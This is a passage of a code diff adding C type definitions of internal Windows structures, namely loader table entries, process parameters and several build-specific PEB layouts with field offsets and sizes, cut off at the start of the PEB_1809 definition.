HashLinks; //0x70 + ULONG TimeDateStamp; //0x80 + struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 + PVOID Lock; //0x90 + LDR_DDAG_NODE* DdagNode; //0x98 + LIST_ENTRY NodeModuleLink; //0xa0 + struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 + PVOID ParentDllBase; //0xb8 + PVOID SwitchBackContext; //0xc0 + RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 + RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 + ULONGLONG OriginalBase; //0xf8 + LARGE_INTEGER LoadTime; //0x100 + ULONG BaseNameHashValue; //0x108 + LDR_DLL_LOAD_REASON LoadReason; //0x10c + ULONG ImplicitPathOptions; //0x110 + ULONG ReferenceCount; //0x114 + ULONG DependentLoadFlags; //0x118 +} LDR_DATA_TABLE_ENTRY_1607, * PLDR_DATA_TABLE_ENTRY_1607; + +//0x138 bytes (sizeof) +typedef struct _LDR_DATA_TABLE_ENTRY_WIN11 +{ + LIST_ENTRY InLoadOrderLinks; //0x0 + LIST_ENTRY InMemoryOrderLinks; //0x10 + LIST_ENTRY InInitializationOrderLinks; //0x20 + PVOID DllBase; //0x30 + PVOID EntryPoint; //0x38 + ULONG SizeOfImage; //0x40 + UNICODE_STRING FullDllName; //0x48 + UNICODE_STRING BaseDllName; //0x58 + union + { + UCHAR FlagGroup[4]; //0x68 + ULONG Flags; //0x68 + struct + { + ULONG PackagedBinary : 1; //0x68 + ULONG MarkedForRemoval : 1; //0x68 + ULONG ImageDll : 1; //0x68 + ULONG LoadNotificationsSent : 1; //0x68 + ULONG TelemetryEntryProcessed : 1; //0x68 + ULONG ProcessStaticImport : 1; //0x68 + ULONG InLegacyLists : 1; //0x68 + ULONG InIndexes : 1; //0x68 + ULONG ShimDll : 1; //0x68 + ULONG InExceptionTable : 1; //0x68 + ULONG ReservedFlags1 : 2; //0x68 + ULONG LoadInProgress : 1; //0x68 + ULONG LoadConfigProcessed : 1; //0x68 + ULONG EntryProcessed : 1; //0x68 + ULONG ProtectDelayLoad : 1; //0x68 + ULONG ReservedFlags3 : 2; //0x68 + ULONG DontCallForThreads : 1; //0x68 + ULONG ProcessAttachCalled : 1; //0x68 + ULONG ProcessAttachFailed : 1; //0x68 + ULONG CorDeferredValidate : 1; //0x68 + ULONG CorImage : 1; //0x68 + ULONG DontRelocate : 1; //0x68 + ULONG CorILOnly : 1; //0x68 + ULONG ChpeImage : 1; //0x68 + ULONG ChpeEmulatorImage : 1; //0x68 + ULONG ReservedFlags5 : 1; //0x68 + ULONG Redirected : 1; //0x68 + ULONG ReservedFlags6 : 2; //0x68 + ULONG CompatDatabaseProcessed : 1; //0x68 + }; + }; + USHORT ObsoleteLoadCount; //0x6c + USHORT TlsIndex; //0x6e + LIST_ENTRY HashLinks; //0x70 + ULONG TimeDateStamp; //0x80 + struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 + PVOID Lock; //0x90 + LDR_DDAG_NODE* DdagNode; //0x98 + LIST_ENTRY NodeModuleLink; //0xa0 + struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 + PVOID ParentDllBase; //0xb8 + PVOID SwitchBackContext; //0xc0 + RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 + RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 + ULONGLONG OriginalBase; //0xf8 + LARGE_INTEGER LoadTime; //0x100 + ULONG BaseNameHashValue; //0x108 + LDR_DLL_LOAD_REASON LoadReason; //0x10c + ULONG ImplicitPathOptions; //0x110 + ULONG ReferenceCount; //0x114 + ULONG DependentLoadFlags; //0x118 + UCHAR SigningLevel; //0x11c + ULONG CheckSum; //0x120 + PVOID ActivePatchImageBase; //0x128 + LDR_HOT_PATCH_STATE HotPatchState; //0x130 +} LDR_DATA_TABLE_ENTRY_WIN11, * PLDR_DATA_TABLE_ENTRY_WIN11; + +//0x18 bytes (sizeof) +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; //0x0 + VOID* Handle; //0x10 +} CURDIR, * PCURDIR; + +//0x18 bytes (sizeof) +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; //0x0 + USHORT Length; //0x2 + ULONG TimeStamp; //0x4 + STRING DosPath; //0x8 +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +//0x410 bytes (sizeof) +typedef struct _RTL_USER_PROCESS_PARAMETERS_1507 +{ + ULONG MaximumLength; //0x0 + ULONG Length; //0x4 + ULONG Flags; //0x8 + ULONG DebugFlags; //0xc + VOID* ConsoleHandle; //0x10 + ULONG ConsoleFlags; //0x18 + VOID* StandardInput; //0x20 + VOID* StandardOutput; //0x28 + VOID* StandardError; //0x30 + CURDIR CurrentDirectory; //0x38 + UNICODE_STRING DllPath; //0x50 + UNICODE_STRING ImagePathName; //0x60 + UNICODE_STRING CommandLine; //0x70 + VOID* Environment; //0x80 + ULONG StartingX; //0x88 + ULONG StartingY; //0x8c + ULONG CountX; //0x90 + ULONG CountY; //0x94 + ULONG CountCharsX; //0x98 + ULONG CountCharsY; //0x9c + ULONG FillAttribute; //0xa0 + ULONG WindowFlags; //0xa4 + ULONG ShowWindowFlags; //0xa8 + UNICODE_STRING WindowTitle; //0xb0 + UNICODE_STRING DesktopInfo; //0xc0 + UNICODE_STRING ShellInfo; //0xd0 + UNICODE_STRING RuntimeData; //0xe0 + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 + ULONGLONG EnvironmentSize; //0x3f0 + ULONGLONG EnvironmentVersion; //0x3f8 + VOID* PackageDependencyData; //0x400 + ULONG ProcessGroupId; //0x408 + ULONG LoaderThreads; //0x40c +} RTL_USER_PROCESS_PARAMETERS_1507, * PRTL_USER_PROCESS_PARAMETERS_1507; + +//0x420 bytes (sizeof) +typedef struct _RTL_USER_PROCESS_PARAMETERS_1809 +{ + ULONG MaximumLength; //0x0 + ULONG Length; //0x4 + ULONG Flags; //0x8 + ULONG DebugFlags; //0xc + VOID* ConsoleHandle; //0x10 + ULONG ConsoleFlags; //0x18 + VOID* StandardInput; //0x20 + VOID* StandardOutput; //0x28 + VOID* StandardError; //0x30 + CURDIR CurrentDirectory; //0x38 + UNICODE_STRING DllPath; //0x50 + UNICODE_STRING ImagePathName; //0x60 + UNICODE_STRING CommandLine; //0x70 + VOID* Environment; //0x80 + ULONG StartingX; //0x88 + ULONG StartingY; //0x8c + ULONG CountX; //0x90 + ULONG CountY; //0x94 + ULONG CountCharsX; //0x98 + ULONG CountCharsY; //0x9c + ULONG FillAttribute; //0xa0 + ULONG WindowFlags; //0xa4 + ULONG ShowWindowFlags; //0xa8 + UNICODE_STRING WindowTitle; //0xb0 + UNICODE_STRING DesktopInfo; //0xc0 + UNICODE_STRING ShellInfo; //0xd0 + UNICODE_STRING RuntimeData; //0xe0 + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 + ULONGLONG EnvironmentSize; //0x3f0 + ULONGLONG EnvironmentVersion; //0x3f8 + VOID* PackageDependencyData; //0x400 + ULONG ProcessGroupId; //0x408 + ULONG LoaderThreads; //0x40c + UNICODE_STRING RedirectionDllName; //0x410 +} RTL_USER_PROCESS_PARAMETERS_1809, * PRTL_USER_PROCESS_PARAMETERS_1809; + +//0x440 bytes (sizeof) +typedef struct _RTL_USER_PROCESS_PARAMETERS_1903 +{ + ULONG MaximumLength; //0x0 + ULONG Length; //0x4 + ULONG Flags; //0x8 + ULONG DebugFlags; //0xc + VOID* ConsoleHandle; //0x10 + ULONG ConsoleFlags; //0x18 + VOID* StandardInput; //0x20 + VOID* StandardOutput; //0x28 + VOID* StandardError; //0x30 + CURDIR CurrentDirectory; //0x38 + UNICODE_STRING DllPath; //0x50 + UNICODE_STRING ImagePathName; //0x60 + UNICODE_STRING CommandLine; //0x70 + VOID* Environment; //0x80 + ULONG StartingX; //0x88 + ULONG StartingY; //0x8c + ULONG CountX; //0x90 + ULONG CountY; //0x94 + ULONG CountCharsX; //0x98 + ULONG CountCharsY; //0x9c + ULONG FillAttribute; //0xa0 + ULONG WindowFlags; //0xa4 + ULONG ShowWindowFlags; //0xa8 + UNICODE_STRING WindowTitle; //0xb0 + UNICODE_STRING DesktopInfo; //0xc0 + UNICODE_STRING ShellInfo; //0xd0 + UNICODE_STRING RuntimeData; //0xe0 + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 + ULONGLONG EnvironmentSize; //0x3f0 + ULONGLONG EnvironmentVersion; //0x3f8 + VOID* PackageDependencyData; //0x400 + ULONG ProcessGroupId; //0x408 + ULONG LoaderThreads; //0x40c + UNICODE_STRING RedirectionDllName; //0x410 + UNICODE_STRING HeapPartitionName; //0x420 + ULONGLONG* DefaultThreadpoolCpuSetMasks; //0x430 + ULONG DefaultThreadpoolCpuSetMaskCount; //0x438 + ULONG DefaultThreadpoolThreadMaximum; //0x43c +} RTL_USER_PROCESS_PARAMETERS_1903, * PRTL_USER_PROCESS_PARAMETERS_1903; + +//0x388 bytes (sizeof) +typedef struct _PEB_1507 +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR SpareBits : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + PVOID Mutant; //0x8 + PVOID ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 + PVOID SubSystemData; //0x28 + PVOID ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + PVOID AtlThunkSListPtr; //0x40 + PVOID IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ReservedBits0 : 27; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + PVOID KernelCallbackTable; //0x58 + PVOID UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved[1]; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + PVOID ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + PVOID TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + PVOID ReadOnlySharedMemoryBase; //0x88 + PVOID SparePvoid0; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + PVOID AnsiCodePageData; //0xa0 + PVOID OemCodePageData; //0xa8 + PVOID UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + PVOID GdiSharedHandleTable; //0xf8 + PVOID ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + PVOID TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + PVOID pShimData; //0x2d8 + PVOID AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 + LIST_ENTRY FlsListHead; //0x328 + PVOID FlsBitmap; //0x338 + ULONG FlsBitmapBits[4]; //0x340 + ULONG FlsHighIndex; //0x350 + PVOID WerRegistrationData; //0x358 + PVOID WerShipAssertPtr; //0x360 + PVOID pUnused; //0x368 + PVOID pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 +} PEB_1507, * PPEB_1507; + +//0x7a0 bytes (sizeof) +typedef struct _PEB_1511 +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR SpareBits : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + VOID* Mutant; //0x8 + VOID* ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 + VOID* SubSystemData; //0x28 + VOID* ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + VOID* AtlThunkSListPtr; //0x40 + VOID* IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ReservedBits0 : 27; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + VOID* KernelCallbackTable; //0x58 + VOID* UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved[1]; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + VOID* ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + VOID* TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + VOID* ReadOnlySharedMemoryBase; //0x88 + VOID* SparePvoid0; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + VOID* AnsiCodePageData; //0xa0 + VOID* OemCodePageData; //0xa8 + VOID* UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + VOID* GdiSharedHandleTable; //0xf8 + VOID* ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + VOID* TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + VOID* pShimData; //0x2d8 + VOID* AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 + LIST_ENTRY FlsListHead; //0x328 + VOID* FlsBitmap; //0x338 + ULONG FlsBitmapBits[4]; //0x340 + ULONG FlsHighIndex; //0x350 + VOID* WerRegistrationData; //0x358 + VOID* WerShipAssertPtr; //0x360 + VOID* pUnused; //0x368 + VOID* pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 + ULONGLONG TppWorkerpListLock; //0x388 + LIST_ENTRY TppWorkerpList; //0x390 + VOID* WaitOnAddressHashTable[128]; //0x3a0 +} PEB_1511, * PPEB_1511; + +//0x7b0 bytes (sizeof) +typedef struct _PEB_1709 +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR IsLongPathAwareProcess : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + VOID* Mutant; //0x8 + VOID* ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 + VOID* SubSystemData; //0x28 + VOID* ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 + VOID* IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ProcessPreviouslyThrottled : 1; //0x50 + ULONG ProcessCurrentlyThrottled : 1; //0x50 + ULONG ReservedBits0 : 25; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + VOID* KernelCallbackTable; //0x58 + VOID* UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + VOID* ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + VOID* TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + VOID* ReadOnlySharedMemoryBase; //0x88 + VOID* SharedData; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + VOID* AnsiCodePageData; //0xa0 + VOID* OemCodePageData; //0xa8 + VOID* UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + VOID* GdiSharedHandleTable; //0xf8 + VOID* ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + VOID* TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + VOID* pShimData; //0x2d8 + VOID* AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 + LIST_ENTRY FlsListHead; //0x328 + VOID* FlsBitmap; //0x338 + ULONG FlsBitmapBits[4]; //0x340 + ULONG FlsHighIndex; //0x350 + VOID* WerRegistrationData; //0x358 + VOID* WerShipAssertPtr; //0x360 + VOID* pUnused; //0x368 + VOID* pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 + ULONGLONG TppWorkerpListLock; //0x388 + LIST_ENTRY TppWorkerpList; //0x390 + VOID* WaitOnAddressHashTable[128]; //0x3a0 + VOID* TelemetryCoverageHeader; //0x7a0 + ULONG CloudFileFlags; //0x7a8 +} PEB_1709, * PPEB_1709; + +//0x7b8 bytes (sizeof) +typedef struct _PEB_1803 +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR IsLongPathAwareProcess : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + VOID* Mutant; //0x8 + VOID* ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 + VOID* SubSystemData; //0x28 + VOID* ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 + VOID* IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ProcessPreviouslyThrottled : 1; //0x50 + ULONG ProcessCurrentlyThrottled : 1; //0x50 + ULONG ReservedBits0 : 25; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + VOID* KernelCallbackTable; //0x58 + VOID* UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + VOID* ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + VOID* TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + VOID* ReadOnlySharedMemoryBase; //0x88 + VOID* SharedData; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + VOID* AnsiCodePageData; //0xa0 + VOID* OemCodePageData; //0xa8 + VOID* UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + VOID* GdiSharedHandleTable; //0xf8 + VOID* ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + VOID* TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + VOID* pShimData; //0x2d8 + VOID* AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 + LIST_ENTRY FlsListHead; //0x328 + VOID* FlsBitmap; //0x338 + ULONG FlsBitmapBits[4]; //0x340 + ULONG FlsHighIndex; //0x350 + VOID* WerRegistrationData; //0x358 + VOID* WerShipAssertPtr; //0x360 + VOID* pUnused; //0x368 + VOID* pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 + ULONGLONG TppWorkerpListLock; //0x388 + LIST_ENTRY TppWorkerpList; //0x390 + VOID* WaitOnAddressHashTable[128]; //0x3a0 + VOID* TelemetryCoverageHeader; //0x7a0 + ULONG CloudFileFlags; //0x7a8 + ULONG CloudFileDiagFlags; //0x7ac + CHAR PlaceholderCompatibilityMode; //0x7b0 + CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 +} PEB_1803, * PPEB_1803; + +//0x7c8 bytes (sizeof) +typedef struct _PEB_1809 +{ + 